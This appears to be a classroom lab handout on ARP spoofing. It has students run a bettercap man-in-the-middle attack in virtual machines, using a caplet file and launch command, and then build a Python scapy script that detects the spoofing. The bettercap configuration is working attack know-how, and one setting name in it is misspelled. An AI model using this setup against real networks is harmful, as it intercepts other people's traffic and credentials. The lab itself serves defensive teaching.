

ARP Spoof Detector

Contents

ARP Spoof Detector	1
Lab Requirements	1
1: View Local IP Address Information.....	1
2: MITM bettercap with a Caplet File.....	2
3: Detect ARP Spoofing with arp -a	3
4: Arp Spoof Detector.....	3
Assignment Submission.....	6

Time required: 60 minutes

Lab Requirements

This lab can disrupt network communications on a production network. We want to do this lab in a completely virtual environment.

1. Kali Linux VM
2. Windows VM
3. Both VM's on the same NAT network

Man in the Middle attacks are some of the most frequently attempted attacks on networks. They're used mostly to acquire login credentials or personal information, spy on the Victim, sabotage communications, or corrupt data.

A man in the middle attack is the one where an attacker intercepts the stream of back-and-forth messages between two parties to alter the messages or just read them.

1: View Local IP Address Information

On your Kali Linux: run the following command in the terminal to find out the name of the network interface that you're using. It is commonly eth0.

```
ip a
```

Insert a screenshot:

[Click or tap here to enter text.](#)

Find the IP of the network router/default gateway you're using.

```
ip route show
```

On the terminal you will be shown the IP of your network router/default gateway.

Insert a screenshot:

[Click or tap here to enter text.](#)

2: MITM bettercap with a Caplet File

We can automate the startup of bettercap with a caplet file.

1. cd bettercap
2. On your Kali Linux VM: create a text file with the following code. (I like nano or leafpad for text editing)
3. Save the file as **spoof.cap**

```
net.probe on
set arp.spoof.fulllduplex true
set arp.spoof.targets 10.10.1.6
arp.spoof on
set net.sniff.local true
net.sniff on
```

4. This command is assuming you are in your home folder and have your spoof.cap in that folder. We want to start the bettercap that we installed earlier.
Type the following command at the terminal start bettercap automatically.

```
sudo ./bettercap -iface eth0 -caplet spoof.cap
```

The result should look something like this.

```

10.10.1.0/24 > 10.10.1.10 » include spoof.cap
[13:56:06] [sys.log] [inf] net.probe starting net.recon as a requirement for net
.probe
[13:56:06] [sys.log] [inf] net.probe probing 256 addresses on 10.10.1.0/24
[13:56:06] [sys.log] [inf] arp.spoof enabling forwarding
[13:56:06] [sys.log] [war] arp.spoof full duplex spoofing enabled, if the router
has ARP spoofing mechanisms, the attack will fail.
[13:56:06] [sys.log] [inf] arp.spoof arp spoofer started, probing 1 targets.
[13:56:06] [endpoint.new] endpoint 10.10.1.3 detected as 08:00:27:00:60:e9 (PCS
Computer Systems GmbH).
10.10.1.0/24 > 10.10.1.10 » [13:56:07] [endpoint.new] endpoint 10.10.1.11 detec
ted as 08:00:27:6d:d0:6e (PCS Computer Systems GmbH).
10.10.1.0/24 > 10.10.1.10 » █

```

3: Detect ARP Spoofing with arp -a

1. On Kali → quit bettercap.
2. On the target Windows machine run this command.

```
arp -a
```

3. This will show the current arp table with the correct mac addresses.
4. Insert a screen shot.

[Click or tap here to enter text.](#)

5. On Kali → start a spoofing attack with bettercap.

```
sudo ./bettercap/bettercap -iface eth0 -caplet spoof.cap
```

6. On target → run **arp -a** again. Notice that Kali and the gateway have the same mac address.

7. Insert a screen shot.

[Click or tap here to enter text.](#)

8. Type q to quit bettercap.

This method works, but it takes a lot of time to check your arp cache for an attack.

4: Arp Spoof Detector

We are going to use Python and the scapy library to build an automated ARP spoof detector.

1. In Kali Linux → create a Python file named arp_spoof_detector.py
2. Enter the following code in your favorite Linux text editor.

3. Run this program.
4. Start bettercap with the spoof.cap caplet file like you did above.

```
sudo ./bettercap/bettercap -iface eth0 -caplet spoof.cap
```

```

1  #!/usr/bin/env python3
2  from scapy.all import ARP, sniff
3
4  # Dictionary to store IP-MAC pairs
5  arp_table = {}
6
7
8  def detect_arp_spoof(packet):
9      # Check if the packet has an ARP layer and is an ARP reply (op == 2)
10     if packet.haslayer(ARP) and packet[ARP].op == 2:
11         # Get the source IP and MAC address from the ARP packet
12         ip = packet[ARP].psrc
13         mac = packet[ARP].hwsrc
14
15         # If the IP is already in the arp_table
16         if ip in arp_table:
17             # Check if the MAC address has changed
18             if arp_table.get(ip) != mac:
19                 # If MAC address has changed, print a warning message
20                 message = f"[!] ARP Spoofing detected: "
21                 message += f"IP: {ip}, "
22                 message += f"Old MAC: {arp_table.get(ip)}, "
23                 message += f"New MAC: {mac}"
24                 print(message)
25         else:
26             # If the IP is not in the arp_table, add it
27             arp_table[ip] = mac
28
29
30 def main():
31     print("Starting ARP spoofing detection...")
32
33     # Start sniffing for ARP packets and call detect_arp_spoof for each packet
34     sniff(
35         filter="arp",          # Only sniff ARP packets
36         prn=detect_arp_spoof, # Call detect_arp_spoof for each packet
37         store=0                # Do not store packets in memory
38     )
39
40
41 if __name__ == "__main__":
42     main()

```

Example run:

```
(user@billkali)-[~]  
$ sudo python3 arp_spoof_detector.py  
Starting ARP spoofing detection ...  
[!] ARP Spoofing detected: IP: 10.10.1.1, Old MAC: 52:54:00:12:35:00, New MAC: 08:00:27:2b:71:7c  
[!] ARP Spoofing detected: IP: 10.10.1.6, Old MAC: 08:00:27:a8:98:5b, New MAC: 08:00:27:2b:71:7c  
[!] ARP Spoofing detected: IP: 10.10.1.1, Old MAC: 52:54:00:12:35:00, New MAC: 08:00:27:2b:71:7c  
[!] ARP Spoofing detected: IP: 10.10.1.6, Old MAC: 08:00:27:a8:98:5b, New MAC: 08:00:27:2b:71:7c  
[!] ARP Spoofing detected: IP: 10.10.1.1, Old MAC: 52:54:00:12:35:00, New MAC: 08:00:27:2b:71:7c  
[!] ARP Spoofing detected: IP: 10.10.1.6, Old MAC: 08:00:27:a8:98:5b, New MAC: 08:00:27:2b:71:7c
```

Assignment Submission

Attach screenshots of successful completion of each section.